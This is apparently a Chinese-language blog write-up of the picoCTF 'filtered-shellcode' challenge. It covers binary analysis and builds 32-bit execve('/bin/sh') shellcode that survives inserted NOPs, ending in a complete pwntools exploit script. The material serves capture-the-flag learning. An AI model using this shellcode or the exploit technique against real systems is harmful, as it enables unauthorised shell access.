Cavern.sigma
Welcome to Cavern.sigma
我就爛 工具:pwnlib, gef 題目:[filtered-shellcode](https://play.picoctf.org/practice/challenge/184) ## 觀察 用 `file` 看一下,發現他是 32 bit 程式 `checksec` 發現他 1. 沒有 stack protection 2. stack 有 execute 權限 看起來一臉就是寫 shellcode 的樣子 打開 ghidra,可以發現 `main` 做的事非常簡單: ```c int main() { // unnecessary bits trimmed puts("Give me code to run:"); iVar1 = fgetc(stdin); local_15 = (char)iVar1; while ((local_15 != '\n' && (local_14 < 1000))) { local_3fd[local_14] = local_15; iVar1 = fgetc(stdin); local_15 = (char)iVar1; local_14 = local_14 + 1; } if ((local_14 & 1) != 0) { local_3fd[local_14] = -0x70; local_14 = local_14 + 1; } execute(local_3fd,local_14); return 0; } ``` 就是讀至多 1000 個 char,送到 execute 裡面 接下來拆開 `execute`,發現太麻煩了,所以直接送給 gdb `disas execute` ```asm (...) 0x080485bb <+197>: add eax,edx 0x080485bd <+199>: mov BYTE PTR [eax],0xc3 0x080485c0 <+202>: mov eax,DWORD PTR [ebp-0x1c] 0x080485c3 <+205>: mov DWORD PTR [ebp-0x20],eax 0x080485c6 <+208>: mov eax,DWORD PTR [ebp-0x20] => 0x080485c9 <+211>: call eax 0x080485cb <+213>: mov esp,ebx 0x080485cd <+215>: nop 0x080485ce <+216>: mov ebx,DWORD PTR [ebp-0x4] 0x080485d1 <+219>: leave 0x080485d2 <+220>: ret ``` 先輸入一個 ABCDEFG...,遇到 breakpoint 時,發現 `eax` 變成 `0x90904241`,4241看起來一臉像 BA 的樣子。 `x/10c $eax`: ``` 0xffffc8a0: 0x41 0x42 0x90 0x90 0x43 0x44 0x90 0x90 0xffffc8a8: 0x45 0x46 ``` 也就是說,程式會讀入1000個 char,每兩個字加上 nop,並且跳過去執行。到這裡就可以開始寫 shellcode 了。 想法: 1. 生出字串 `/bin/sh` 2. 叫一個 system call 出來執行 翻了一下 [system call table](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit),最有用的應該是 execve 同一個網站裡面也用 calling convention,所以要做的事變成: 1. `eax = 0xb` 2. `ebx = /bin/sh` 3. `ecx = edx = 0x0` ## /bin/sh 目標:在 stack 裡面生出 `/bin/sh` 字串 [在 32 bit push 常數的時候,一次就是 push 4 個 byte](https://stackoverflow.com/questions/15855021/x86-can-push-pop-be-less-than-4-bytes)。也就是說,這樣的 push instruction 會被 nop 切開。 因此,既然不能 push,那就先拿4個字填滿 register,再一起 push 進去。 填字的想法: 1. 把字塞進 dh, dl 2. left shift 16 3. 把剩下兩個字填入 dh, dl 這樣的話 `mov` 是一個 byte,要移的內容也是一個 byte,皆大歡喜。 接下來處理 shift 的部份 [如果直接 shl 一個常數的話,他會讀三個 byte](https://tinyurl.com/4k4jks7r),可是他也有提供 `shl cl` 的作法,就可以在兩個 byte 之內完成 第一個版本的 payload: ```python from pwn import * shellCode = b''.join([ asm("mov cl, 0x10"), # shift by 16 bits each round asm("mov dh, '/'"), asm("mov dl 'b'"), asm("shl edx, cl"), asm("mov dh, 'i'"), asm("mov dl, 'n'"), asm("push edx"), asm("mov dh, '/'"), asm("mov dl 's'"), asm("shl edx, cl"), asm("mov dh, 'h'"), asm("mov dl, 0x0") asm("push edx"), ]) ``` 在第一次 push 之後卻出現這個狀況: ```asm 0xffc13726 nop 0xffc13727 nop 0xffc13728 push edx → 0xffc13729 mov dh, 0x90 0xffc1372b nop 0xffc1372c das 0xffc1372d mov dl, 0x90 0xffc1372f nop ``` 0x90 看起來一臉像是 nop 的樣子,應該是被讀進去了。 稍微檢查一下,可以發現 `push edx` 其實只有一個 byte 長。為了不跟 nop 搞混,就在每次 push 的下一行加上一個 `clc` 這樣 stack 裡面應該就被塞入 `/bin/sh` 了。 實際跑一次,在 clc 之後 `x/s $esp`,空的。 `x/10c $esp`,發現字串完全反過來了 因此順序顛倒之後重來一次,形成第二版: ```python shellCode = b''.join([ asm("mov cl, 0x10"), # shift by 16 bits each round asm("mov dh, 0x0"), asm("mov dl, 'h'"), asm("shl edx, cl"), asm("mov dh, 's'"), asm("mov dl, '/'"), asm("push edx"), asm("clc"), asm("mov dh, 'n'"), asm("mov dl, 'i'"), asm("shl edx, cl"), asm("mov dh, 'b'"), asm("mov dl, '/'"), asm("push edx"), asm("clc"), asm("mov ebx, esp") # ebx = /bin/sh ]) ``` ## arguments and function call 目前進度: 1. `eax = 0xb` 2. `ebx = /bin/sh` (done) 3. `ecx = edx = 0x0` eax 很簡單,只要 lshift 32 bit(清空)之後 `mov al, 0xb` 就好。 然而,如果直接 shift 32 bit,他會把 register 原封不動的還給你。因此,需要 shift 16 bit 兩次把他清空 edx 也可以用一樣的手法完成,可是 ecx 包含 cl,所以 shift 完第一次 16 bit 之後,需要手動 shift 1 bit 16 次。 也可以: ```asm mov cl, 0x1f shl ecx, cl shl ecx, 1 ``` 因為 left shift 1 bit 也是兩個字長。 這樣 eax ~ edx 都處理好之後,就可以只接 `int 0x80` 開始做事了。 完整版 script: ```python #!/bin/python from pwn import * context.terminal = ['xfce4-terminal', '-e'] p = process('/data/ctf/fun') gdb.attach(p) # p = remote('mercury.picoctf.net', 35338) shellCode = b''.join([ asm("mov cl, 0x10"), # shift by 16 bits each round asm("mov dh, 0x0"), asm("mov dl, 'h'"), asm("shl edx, cl"), asm("mov dh, 's'"), asm("mov dl, '/'"), asm("push edx"), asm("clc"), asm("mov dh, 'n'"), asm("mov dl, 'i'"), asm("shl edx, cl"), asm("mov dh, 'b'"), asm("mov dl, '/'"), asm("push edx"), asm("clc"), asm("mov ebx, esp"), # ebx = /bin/sh asm("shl eax, cl"), asm("shl eax, cl"), # eax = 0x0 asm('mov al, 0x0b'), # eax = 0x0b, execve asm("shl edx, cl"), asm("shl edx, cl"), # edx = 0x0 asm("mov cl, 0x1f"), asm("shl ecx, cl"), asm("shl ecx, 1"), asm("int 0x80") ]) p.sendline(shellCode) p.interactive() ``` 送上去就可以 cat flag 了。
2021-07-11 19:18:05
留言
Last fetch: --:-- 
現在還沒有留言!